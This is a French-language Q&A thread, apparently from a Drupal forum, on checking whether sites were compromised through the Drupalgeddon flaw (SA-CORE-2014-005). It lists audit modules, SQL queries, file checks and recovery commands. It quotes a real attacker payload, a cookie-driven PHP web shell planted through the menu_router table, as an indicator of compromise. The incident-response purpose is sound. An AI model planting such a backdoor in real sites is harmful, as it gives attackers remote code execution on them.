Drupal SA-CORE-2014-005 - Comment savoir si mon serveur / mes sites ont été compromis?

Je viens de mettre à jour tous mes sites en utilisant la méthode du correctif pour résoudre l'exploit Drupal SA-CORE-2014-005. Je viens de lire des rapports selon lesquels, hier, une personne d'un réseau IP russe infiltrant des sites Drupal.

https://www.drupal.org/SA-CORE-2014-005

Mes principales préoccupations sont maintenant:

• Comment savoir si mes sites ont été compris?
• Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?
• Jusqu'à présent, que font ces pirates informatiques pour les sites compris?

Voici quelques requêtes SQL pouvant être exécutées sur les bases de données de votre site pour rechercher les utilisateurs disposant de privilèges administrateur, et sur celles ayant accédé au site après le 15 octobre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Si vous lisez cet article et espérez vérifier un site Drupal 7 plus d'un mois après l'exploit, votre site a probablement déjà été piraté . Votre meilleur choix est de restaurer une sauvegarde avant le début des attaques et de travailler à partir de là.

Il y a une FAQ sur SA-CORE-2014-005 .

Comment savoir si mes sites ont été compromis?

Un moyen de vérifier rapidement si les sites sont compromis consiste à utiliser la commande Drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Installez à votre ~/.drushavecdrush dl drupalgeddon

Puis utilisez drush drupalgeddon-testpour tester. Les alias Drush rendent cela facile et rapide.

Cet outil peut confirmer un site exploité, mais il ne peut pas garantir que votre site n'a pas été exploité. Il n'y a pas de «bilan de santé propre» ici à moins que vous n'ayez mis à niveau avant les attaques.

Le module Site Audit inclut certaines des vérifications de Drupalgeddon et vous donne également une contribution beaucoup plus utile. Je le recommande fortement. (EDIT: Maintenant, ils travaillent ensemble - super sympa!)

• http://drupal.org/project/site_audit

Security Review ne vérifie pas les attaques de Drupalgeddon, mais vaut également la peine de faire partie de votre toolbelt.

• http://drupal.org/project/security_review

Si votre base de code de site était accessible en écriture à l'utilisateur www, vous pouvez également vérifier la présence de code modifié à l'aide du module piraté. Ce module ne peut pas faire ce que vous pensez basé sur son nom seul :)

• http://drupal.org/project/hacked

Bien qu'il n'existe pas de moyen unique d'identifier tous les sites compromis, ces outils peuvent vous aider à identifier les indications les plus courantes.

Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?

Vos journaux d’accès contiendront beaucoup de demandes POST maintenant. À moins que vous n'ayez pris la mesure inhabituelle de consigner toutes les données de publication avant le bogue, il est peu probable que vous disposiez des informations lui permettant de déterminer lesquelles de ces actions étaient malveillantes.

Jusqu'à présent, que font ces pirates informatiques pour les sites compromis?

Beaucoup rapportent que leurs sites sont corrigés par les pirates! En tant qu'attaquant, cela n'a aucun sens: vous ne voulez pas que votre site nouvellement piraté soit fouetté par le prochain attaquant :)

Autre que cela, je suppose que les sites sont utilisés pour récolter toutes les données précieuses (peut-être saisir des crédits, peut-être lever des détails de transaction après avoir exploité) et pour faire des choses ennuyeuses comme envoyer du spam et travailler comme de modestes esclaves de botnet. Oh, et élargir encore l'empire de l'attaquant des sites Drupal détournés. (Désolé, je n'ai aucun site piraté à observer.)

Certaines vérifications d'attaques courantes sont (cette liste n'est pas exhaustive, mais certaines des attaques observées jusqu'à présent dans la nature):

• Vérifiez votre compte d'utilisateur 1 pour vous assurer que son nom d'utilisateur, son adresse e-mail ou son mot de passe sont conformes à vos attentes. Cochez également les autres comptes d'utilisateurs disposant d'autorisations élevées, si possible.
• Recherchez les nouveaux comptes d'utilisateurs qui semblent suspects.
• Recherchez les modifications apportées aux rôles sur votre système, par exemple les nouveaux rôles ou les rôles renommés.
• Vérifiez les changements de permission. L'aspect le plus important est de s'assurer que le rôle d'utilisateur anonyme (ou d'autres rôles que n'importe qui peut s'inscrire pour obtenir) n'a pas été modifié pour lui donner un accès accru.
• Recherchez les nouveaux blocs personnalisés pouvant contenir du code malveillant.
• Recherchez les nouveaux nœuds personnalisés pouvant contenir du code malveillant.
• Recherchez les fichiers de votre système de fichiers qui ne devraient pas être là. C'est facile si vous utilisez le contrôle de version car vous pouvez faire git status ou svn st pour voir s'il y a de nouveaux fichiers.
• S'ils ont téléchargé des fichiers malveillants, vous pouvez vérifier dans vos journaux d'accès les hits de noms de fichiers étranges que vous ne connaissez pas.

• Vérifiez la table de base de données de votre routeur de menu pour les entrées malveillantes. Par exemple (le plugin drupalgeddon module / drush sur drupal.org a un bon script pour vérifier cette table de manière plus approfondie):

  SELECT * FROM menu_router WHERE access_callback = 'fichier_put_contents';

• Vous pouvez également simplement parcourir votre table de routage de menu pour rechercher des entrées étranges.

Certaines choses que les pirates tentent de faire sont les suivantes:

• Mettez des fichiers script PHP sur votre site qu'ils peuvent ensuite exécuter en les frappant dans un navigateur. Ces scripts peuvent faire un large éventail de choses malveillantes. Ceci est réalisé en ajoutant des entrées de routeur de menu malveillantes.
• Créez des comptes d’administrateur que vous pourrez ensuite utiliser pour faire du mal à votre site ou prendre en charge votre site.
• Modifiez l'adresse e-mail de l'utilisateur 1 afin qu'il puisse ensuite réinitialiser le mot de passe de ce compte et en prendre le contrôle.
• Modifier les autorisations sur les rôles d'utilisateur accessibles au public.
• Ajouter des blocs / nœuds / etc. qui peut contenir du code malveillant. Si le filtre PHP est activé, le problème est encore plus grave.

Malheureusement, un attaquant peut faire tellement de choses à votre base de données qu'il est très difficile de donner une liste complète des possibilités. Ils peuvent faire des choses qui tentent de leur donner le contrôle de votre site ou simplement casser votre site en laissant tomber des tables ou des colonnes de base de données, etc.

Ils pourraient même simplement apporter de très petits changements à la configuration du site, par exemple changer le nom de votre site ou quelque chose du genre, ce qui n'est pas la fin du monde, mais reste problématique.

Fondamentalement, tout attaquant pourrait théoriquement le faire dans votre base de données en exécutant une commande SQL.

Tous les modules mentionnés dans la réponse de Chris Burgess sont très utiles pour vérifier ces éléments.

Je pense que j'irais avec le conseil drupal.org " Vous devriez continuer en supposant que chaque site Web Drupal 7 a été compromis sauf s'il a été mis à jour ou corrigé avant le 15 octobre, 23h UTC, soit 7 heures après l'annonce .". Comme le disait Bevan dans ce commentaire, "La mise à jour ou la correction de Drupal ne corrige pas les portes dérobées installées par les pirates avant la mise à jour ou la correction de Drupal."

Bevan a également créé le tableau de flux de travail suivant pour vous aider à déterminer si une infection a pu être infectée et comment récupérer et prévenir . Cependant, il demande à tout le monde de consulter son article d'origine pour s'assurer que vous disposez de la dernière version du flux de travail. En outre, Acquia fait un article intéressant sur les attaques et les modèles qu’ils ont connus dans Acquia Cloud.

Citation de: https://www.drupal.org/node/2357241#comment-9258955

Voici un exemple de fichier inséré dans la colonne access_callback de la table menu_router:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Comme vous pouvez le voir, il essaie de créer le fichier modules / image / vzoh.php, mais comme je n’ai lu que les autorisations à l’intérieur de ces répertoires, php échoue avec.

Rapports de personnes ayant trouvé des fichiers similaires créés en effectuant une recherche dans votre répertoire drupal: https://www.drupal.org/node/2357241#comment-9260017

Ce que j'ai fait était de faire la commande suivante:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

===================

Cité de: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Afficher les fichiers qui ont changé sur le serveur live: statut git

Recherche de tentatives d'exécution de code via menu_router: sélectionnez * depuis menu_router où access_callback = 'file_put_contents'

Affichage des fichiers présents sur le serveur actif et non sous contrôle de version: diff -r docroot repo | grep docroot | grep 'Seulement dans docroot'

Recherche de fichiers PHP dans le répertoire files: find. -path "* php"

Vérification du temps écoulé entre le moment où un utilisateur s'est connecté à votre site et la visite de sa page la plus récente: sélectionnez (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid depuis les sessions, rejoindre les utilisateurs internes u on s.uid = u.uid;

Une très bonne liste de commandes pour dire si vous avez été comprimé.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Vous pouvez vérifier si votre site Web a été piraté avec cet outil en ligne:

Vérification Drupal: le moteur de recherche

Évidemment, il y a des limites, mais c'est un bon point de départ.